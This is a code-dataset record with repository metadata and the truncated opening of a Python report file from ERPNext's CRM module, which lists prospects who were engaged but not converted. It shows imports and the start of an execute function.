a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/crm/report/prospects_engaged_but_not_converted/prospects_engaged_but_not_converted.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
# Copyright (c) 2013, Frappe Technologies Pvt. Ltd. and contributors # For license information, please see license.txt from __future__ import unicode_literals import frappe from frappe import _ from frappe.utils import add_days, now def execute(filters=None): columns, data = [], [] set_defaut_value_for_filters(filt...
33.148649
106
0.705667